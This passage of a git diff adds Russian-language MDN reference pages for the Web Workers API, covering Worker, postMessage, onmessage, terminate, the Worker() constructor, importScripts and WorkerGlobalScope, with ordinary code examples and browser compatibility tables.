+ <dd>Немедленно завершает выполнение воркера. Не даёт воркеру возможности завершить выполняемые операции; просто сразу останавливается. Экземпляры ServiceWorker не поддерживают этот метод.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Представленный фрагмент кода показывает создание объекта {{domxref("Worker")}} с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}, а также его использование:</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>For a full example, see our<a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#worker", "Worker")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers', "#worker", "Worker")}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>Поддержка варьируется для разных видов воркеров. Для уточнения смотрите статьи по каждому типу воркеров.</p>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>3.5</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/En/Using_web_workers" title="en/Using DOM workers">Using web workers</a></li>
+ <li><a href="/En/DOM/Worker/Functions_available_to_workers" title="https://developer.mozilla.org/En/DOM/Worker/Functions_available_to_workers">Functions available to workers</a></li>
+ <li>Другие типы воркеров: {{ domxref("SharedWorker") }} и <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker</a>.</li>
+ <li>Non-standard, Gecko-specific workers: {{ domxref("ChromeWorker") }}, used by extensions.</li>
+</ul>
diff --git a/files/ru/web/api/worker/onmessage/index.html b/files/ru/web/api/worker/onmessage/index.html
new file mode 100644
index 0000000000..86db26c45f
--- /dev/null
+++ b/files/ru/web/api/worker/onmessage/index.html
@@ -0,0 +1,124 @@
+---
+title: Worker.onmessage
+slug: Web/API/Worker/onmessage
+translation_of: Web/API/Worker/onmessage
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Свойство <strong><code>onmessage</code></strong>  интерфейса {{domxref("Worker")}} представляет собой обработчик {{domxref("EventHandler")}}, который будет вызван когда произойдет событие {{event("message")}}. Тип этого события {{domxref("MessageEvent")}} и оно будет вызвано когда worker-объект получит сообщение из выполняемого им кода (т.е из метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}} .</p>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>Примечание</strong></span>: Данные события доступны в свойстве data события {{event("message")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">myWorker.onmessage = function(e) { ... }</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий пример кода показывает создание объекта {{domxref("Worker")}} используя конструктор {{domxref("Worker.Worker", "Worker()")}}. События попадают в объект, когда значение внутри поля ввода формы <code>first</code> изменяется. Обработчик onmessage указан для обработки сообщений, которые приходят назад из кода объекта в текущий контекст выполнения.</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Сообщение, отправленное в worker-объект');
+}
+
+myWorker.onmessage = function(e) {
+  result.textContent = e.data;
+  console.log('Сообщение полученное из worker-объекта');
+}
+</pre>
+
+<p>В скрипте <code>worker.js</code>, обработчик <code>onmessage</code> используется для обработки событий, полученных из главного скрипта:</p>
+
+<pre class="brush: js">onmessage = function(e) {
+  console.log('Сообщение полученное из главного скрипта');
+  var workerResult = 'Результат: ' + (e.data[0] * e.data[1]);
+  console.log('Отправка сообщения назад в главный скрипт');
+  postMessage(workerResult);
+}</pre>
+
+<p>Посмотрите как в скрипте <code>worker.js</code> вызывается обработчик <code>onmessage</code><code>.</code> В нем присутствует только глобальное свойство <code>onmessage,</code> потому что worker-объект фактически является областью видимости ({{domxref("DedicatedWorkerGlobalScope")}}).</p>
+
+<p>Для полного примера смотрите наш <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#handler-worker-onmessage", "Worker.onmessage")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Никаких изменений из {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers', "#handler-worker-onmessage", "Worker.onmessage")}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функциональность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функциональность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.4</td>
+   <td>3.5</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p>Интерфейс {{domxref("Worker")}}, которому принадлежит этот обработчик.</p>
diff --git a/files/ru/web/api/worker/postmessage/index.html b/files/ru/web/api/worker/postmessage/index.html
new file mode 100644
index 0000000000..1d6279b648
--- /dev/null
+++ b/files/ru/web/api/worker/postmessage/index.html
@@ -0,0 +1,163 @@
+---
+title: Worker.postMessage()
+slug: Web/API/Worker/postMessage
+tags:
+  - API
+  - JavaScript
+  - Web Workers
+  - Worker
+  - postMessage
+  - Ссылка
+  - метод
+translation_of: Web/API/Worker/postMessage
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Метод <code><strong>postMessage()</strong></code> интерфейса {{domxref("Worker")}} отправляет сообщение во внутреннее пространство <code>worker</code>-а. Метод имеет один параметр с данными для отправки в <code>worker</code>. Данные могут быть любым значением или объектом JavaScript, которые может обработать <a href="/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">алгоритм структурированного клонирования</a>, подерживающий циклические ссылки.</p>
+
+<p><code>Worker</code> может отправить обратно информацию потоку создавшему его с помощью метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">worker.postMessage(message, [transfer]);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>message</em></dt>
+ <dd><code>Object</code> передаваемый в <code>worker</code>. Будет содержаться в поле <code>data</code> описания события обработчика {{domxref("DedicatedWorkerGlobalScope.onmessage")}}. Это может быть любое значение или объект JavaScript, которые может обработать алгоритм структурированного клонирования, подерживающий циклические ссылки.</dd>
+ <dt><em>transfer</em> {{optional_inline}}</dt>
+ <dd>Необязательный <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a></code> с передаваемыми ({{domxref("Transferable")}}) объектами (из тех, что были указаны в <code>message</code>) на которые передаются права собственности. Если право на объект передается, он становится непригодным (<em>neutered</em>) в контексте, из которого был отправлен, и становится доступным только в <code>worker</code>, которому он был отправлен.</dd>
+ <dd>Переданные (<code>transferable</code>) объекты могут быть экземплярами классов {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} или {{domxref("ImageBitmap")}}. null не является допустимым значением для передачи прав.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Void.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В следующем фрагменте кода показано создание объекта {{domxref("Worker")}} с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}. При изменении значений одного из двух полей формы (<code>first</code> и <code>second</code>) событием {{event("change")}} вызывается функция <code>postMessage()</code> для отправки значений полей текущему worker.</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Сообщение отправлено работнику');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Сообщение отправлено работнику');
+}
+</pre>
+
+<p>Больше примеров можно найти здесь: <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: <code>postMessage()</code> может отправить только один объект за раз. Если нужно передать несколько значений, то можно отправить массив, как показано выше.</p>
+</div>
+
+<h3 id="Пример_с_Transfer">Пример с Transfer</h3>
+
+<p>В этом примере показано дополнение Firefox, которое передает <code>ArrayBuffer</code> из основного потока в <code>ChromeWorker</code>, а затем <code>ChromeWorker</code> передает его обратно в основной поток.</p>
+
+<h4 id="Код_основного_потока">Код основного потока:</h4>
+
+<pre class="brush: js">var myWorker = new ChromeWorker(self.path + 'myWorker.js');
+
+function handleMessageFromWorker(msg) {
+    console.log('входящее сообщение от работника:', msg);
+    switch (msg.data.aTopic) {
+        case 'do_sendMainArrBuff':
+            sendMainArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'свойство aTopic отсутствует в сообщении ChromeWorker';
+    }
+}
+
+myWorker.addEventListener('message', handleMessageFromWorker);
+
+// Создание и отправка буфера
+var arrBuf = new ArrayBuffer(8);
+console.info('arrBuf.byteLength, ДО передачи:', arrBuf.byteLength);
+
+myWorker.postMessage(
+    {
+        aTopic: 'do_sendWorkerArrBuff',
+        aBuf: arrBuf // буфер который передается 3 строками ниже
+    },
+    [
+        arrBuf // буфер созданный на строке 9
+    ]
+);
+
+console.info('arrBuf.byteLength, ПОСЛЕ передачи:', arrBuf.byteLength);
+</pre>
+
+<h4 id="Код_Worker-а">Код Worker-а</h4>
+
+<pre class="brush: js">self.onmessage = function (msg) {
+    switch (msg.data.aTopic) {
+        case 'do_sendWorkerArrBuff':
+                sendWorkerArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'свойство aTopic отсутствует в сообщении ChromeWorker';
+    }
+}
+
+function sendWorkerArrBuff(aBuf) {
+    console.info('от рабочего, ДО отправки обратно, aBuf.byteLength:', aBuf.byteLength);
+
+    self.postMessage({aTopic:'do_sendMainArrBuff', aBuf:aBuf}, [aBuf]);
+
+    console.info('от рабочего, ПОСЛЕ отправки обратно, aBuf.byteLength:', aBuf.byteLength);
+}
+</pre>
+
+<h4 id="Лог_консоли">Лог консоли</h4>
+
+<pre>arrBuf.byteLength, ДО передачи: 8                               bootstrap.js:40
+arrBuf.byteLength, ПОСЛЕ передачи: 0                            bootstrap.js:42
+
+от рабочего, ДО отправки обратно, aBuf.byteLength: 8            myWorker.js:5:2
+
+входящее сообщение от работника: message { ... }                bootstrap.js:20
+буфер вернулся в основной поток, aBuf.byteLength: 8             bootstrap.js:12
+
+от рабочего, ПОСЛЕ отправки обратно, aBuf.byteLength: 0         myWorker.js:7:2</pre>
+
+<p><code>byteLength</code> равен 0 потому, что это переданный (<code>transferable</code>) объект. Полный пример демо дополнения Firefox можно найти здесь: <a href="https://github.com/Noitidart/ChromeWorker/tree/aca57d9cadc4e68af16201bdecbfb6f9a6f9ca6b">GitHub :: ChromeWorker - demo-transfer-arraybuffer</a></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker-postmessage", "Worker.postMessage()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Worker.postMessage")}}</p>
+
+<p>[1] Internet Explorer не поддерживает {{domxref("Transferable")}} объекты.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Worker")}}</li>
+</ul>
diff --git a/files/ru/web/api/worker/terminate/index.html b/files/ru/web/api/worker/terminate/index.html
new file mode 100644
index 0000000000..68c93a7b08
--- /dev/null
+++ b/files/ru/web/api/worker/terminate/index.html
@@ -0,0 +1,64 @@
+---
+title: Worker.terminate()
+slug: Web/API/Worker/terminate
+tags:
+  - API
+  - Reference
+  - Web Workers
+  - Worker
+  - terminate
+  - Ссылка
+  - метод
+translation_of: Web/API/Worker/terminate
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Метод <code><strong>terminate()</strong></code> интерфейса {{domxref("Worker")}} немедленно завершает работу <code>worker</code>. Работнику не дается возможность завершить свою работу, он останавливается сразу.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">myWorker.terminate();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Void.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В следующем фрагменте кода показано создание потока {{domxref("Worker")}} с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}, который немедленно завершается.</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+
+myWorker.terminate();
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker-terminate", "Worker.terminate()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Worker.terminate")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p>Интерфейс {{domxref("Worker")}}.</p>
diff --git a/files/ru/web/api/worker/worker/index.html b/files/ru/web/api/worker/worker/index.html
new file mode 100644
index 0000000000..625841b703
--- /dev/null
+++ b/files/ru/web/api/worker/worker/index.html
@@ -0,0 +1,89 @@
+---
+title: Worker()
+slug: Web/API/Worker/Worker
+tags:
+  - API
+  - Constructor
+  - Reference
+  - Web Workers
+  - Worker
+  - Конструктор
+  - Ссылка
+translation_of: Web/API/Worker/Worker
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Конструктор <code><strong>Worker()</strong></code> создает объект {{domxref ("Worker")}}, который выполняет скрипт по указанному URL-адресу. Этот скрипт должен подчиняться политике одного источника (<a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">same-origin policy</a>).</p>
+
+<p>Если URL имеет недопустимый синтаксис или нарушена политика одного источника, то будет вызвано {{domxref("DOMException")}} типа <code>SECURITY_ERR</code>.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: that there is a disagreement among browser manufacturers about whether a data URI is of the same origin or not. Though Gecko 10.0 {{ geckoRelease("10.0") }} and later accept data URIs, that's not the case in all other browsers.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var myWorker = new Worker(<em>aURL</em>, <em>options</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>aURL</em></dt>
+ <dd>{{domxref("USVString")}}, представляющая URL-адрес скрипта который будет выполняться <code>worker</code>. Он должен подчиняться политике одного источника.</dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>An object containing option properties that can be set when creating the object instance. Available properties are as follows:
+ <ul>
+  <li><code>type</code>: A {{domxref("DOMString")}} specifying the type of worker to create. The value can be <code>classic</code> or <code>module</code>. If not specified, the default used is <code>classic</code>.</li>
+  <li><code>credentials</code>: A {{domxref("DOMString")}} specifying the type of credentials to use for the worker. The value can be<dfn> <code>omit</code></dfn>, <code><dfn>same-origin</dfn></code>, or <dfn><code>include</code>. If not specified, or if type is <code>classic</code>, the default used is <code>omit</code> (no credentials required).</dfn></li>
+  <li><dfn><code>name</code>: A </dfn>{{domxref("DOMString")}} specifying an identifying name for the {{domxref("DedicatedWorkerGlobalScope")}} representing the scope of the worker, which is mainly useful for debugging purposes.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>A <code>SecurityError</code> is raised if the document is not allowed to start workers.</li>
+ <li>A <code>NetworkError</code> is raised if the MIME type of one of the script is <code>text/csv</code>, <code>image/*</code>, <code>video/*</code>, or <code>audio/*</code>. It should always be <code>text/javacript.</code></li>
+ <li>A <code>SyntaxError</code> is raised if <em>aUR</em><em>L</em> cannot be parsed.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий фрагмент кода показывает создание объекта {{domxref ("Worker")}} с помощью конструктора <code>Worker()</code> и его последующее использование:</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>Больше примеров можно найти здесь: <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker", "Worker()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Worker.Worker")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p>Интерфейс {{domxref("Worker")}}</p>
diff --git a/files/ru/web/api/workerglobalscope/importscripts/index.html b/files/ru/web/api/workerglobalscope/importscripts/index.html
new file mode 100644
index 0000000000..75989503bd
--- /dev/null
+++ b/files/ru/web/api/workerglobalscope/importscripts/index.html
@@ -0,0 +1,73 @@
+---
+title: WorkerGlobalScope.importScripts()
+slug: Web/API/WorkerGlobalScope/importScripts
+translation_of: Web/API/WorkerGlobalScope/importScripts
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Метод <code><strong>importScripts()</strong></code> интерфейса {{domxref("WorkerGlobalScope")}} синхронно импортирует один или несколько скриптов, добавляя их в область видимости сервис-воркера.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js notranslate">self.importScripts('foo.js');
+self.importScripts('foo.js', 'bar.js', ...);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Разделенный запятыми объект </span></span>{{domxref("DOMString")}} скриптов, которые должны быть импортированы. Пути к скриптам указываются относительно URL HTML документа.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><em>Нет.</em></p>
+
+<h3 id="Выбрасываемые_исключения">Выбрасываемые исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Исключение</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>NetworkError</code></td>
+   <td>Добавленные скрипты имеют неверные MIME тип (то есть не <code>text/javascript</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Если вы хотите использовать некоторую функциональность, опделённую файлом <code>foo.js</code>, необходимо сделать следующее:</p>
+
+<pre class="brush: js notranslate">importScripts('foo.js');</pre>
+
+<p><code>importScripts()</code> и <code>self.importScripts()</code> по сути эквивалентны — и то и другое вызывает функцию <code>importScripts()</code> в области видимости воркера.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-workerglobalscope-importscripts', 'importScripts()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope.importScripts")}}</p>
+
+<h2 id="Смотрите_Также">Смотрите Также</h2>
+
+<p>{{domxref("WorkerGlobalScope")}}</p>
diff --git a/files/ru/web/api/workerglobalscope/index.html b/files/ru/web/api/workerglobalscope/index.html
new file mode 100644
index 0000000000..8b0f33c7e3
--- /dev/null
+++ b/files/ru/web/api/workerglobalscope/index.html
@@ -0,0 +1,173 @@
+---
+title: WorkerGlobalScope
+slug: Web/API/WorkerGlobalScope
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - WorkerGlobalScope
+  - Workers
+translation_of: Web/API/WorkerGlobalScope
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>The <code><strong>WorkerGlobalScope</strong></code> interface of the <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a> is an interface representing the scope of any worker. Workers have no browsing context; this scope contains the information usually conveyed by {{domxref("Window")}} objects — in this case event handlers, the console or the associated {{domxref("WorkerNavigator")}} object. Each <code>WorkerGlobalScope</code> has its own event loop.</p>
+
+<p>This interface is usually specialized by each worker type: {{domxref("DedicatedWorkerGlobalScope")}} for dedicated workers, {{domxref("SharedWorkerGlobalScope")}} for shared workers, and {{domxref("ServiceWorkerGlobalScope")}} for <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker</a>. The <code>self</code> property returns the specialized scope for each context.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface inherits properties from the {{domxref("EventTarget")}} interface and {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.</em></p>
+
+<h3 id="Standard_properties">Standard properties</h3>
+
+<p>{{domxref("WorkerGlobalScope.navigator")}} {{readOnlyinline}}</p>
+
+<dl>
+ <dd>Returns the {{domxref("WorkerNavigator")}} associated with the worker. It is a specific navigator object, mostly a subset of the {{domxref("Navigator")}} for browsing scopes, but adapted to workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope.self")}} {{readOnlyinline}}</dt>
+ <dd>Returns a reference to the <code>WorkerGlobalScope</code> itself. Most of the time it is a specific scope like {{domxref("DedicatedWorkerGlobalScope")}},  {{domxref("SharedWorkerGlobalScope")}} or {{domxref("ServiceWorkerGlobalScope")}}.</dd>
+ <dt>{{domxref("WorkerGlobalScope.location")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("WorkerLocation")}} associated with the worker. It is a specific location object, mostly a subset of the {{domxref("Location")}} for browsing scopes, but adapted to workers.</dd>
+</dl>
+
+<h3 id="Non-standard_properties">Non-standard properties</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.performance")}} {{readOnlyinline}} {{Non-standard_inline}}</dt>
+ <dd>Returns the {{domxref("Performance")}} associated with the worker. It is a regular performance object, except that only a subset of its property and methods are available to workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope.console")}} {{readOnlyinline}} {{Non-standard_inline}}</dt>
+ <dd>Returns the {{domxref("Console")}} associated with the worker.</dd>
+</dl>
+
+<h3 id="Properties_implemented_from_elsewhere">Properties implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt><code>error</code></dt>
+ <dd>Fired when an error occured.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onerror")}} property.</dd>
+ <dt><code>offline</code></dt>
+ <dd>Fired when the browser has lost access to the network and the value of <code>navigator.onLine</code> switched to <code>false</code>.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onoffline")}} property.</dd>
+ <dt><code>online</code></dt>
+ <dd>Fired when the browser has gained access to the network and the value of <code>navigator.onLine</code> switched to <code>true</code>.<br>
+ Also available via the {{domxref("WorkerGlobalScope.ononline")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/WorkerGlobalScope/languagechange_event">languagechange</a></code></dt>
+ <dd>Fired at the global/worker scope object when the user's preferred languages change.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onlanguagechange")}} property.</dd>
+</dl>
+
+<dl>
+ <dt><code>close</code> {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onclose")}} property.</dd>
+ <dt><code>rejectionhandled</code> {{non-standard_inline}}</dt>
+ <dd>An event handler for handled <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise represents an operation that hasn't completed yet, but is expected in the future."><code>Promise</code></a> rejection events.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onrejectionhandled")}} property.</dd>
+ <dt><code>unhandledrejection</code> {{non-standard_inline}}</dt>
+ <dd>An event handler for unhandled <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise represents an operation that hasn't completed yet, but is expected in the future."><code>Promise</code></a> rejection events.<br>
+ Also available via the {{domxref("WorkerGlobalScope.onunhandledrejection")}} property.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits methods from the {{domxref("EventTarget")}} interface and {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.</em></p>
+
+<h3 id="Standard_methods">Standard methods</h3>
+
+<dl>
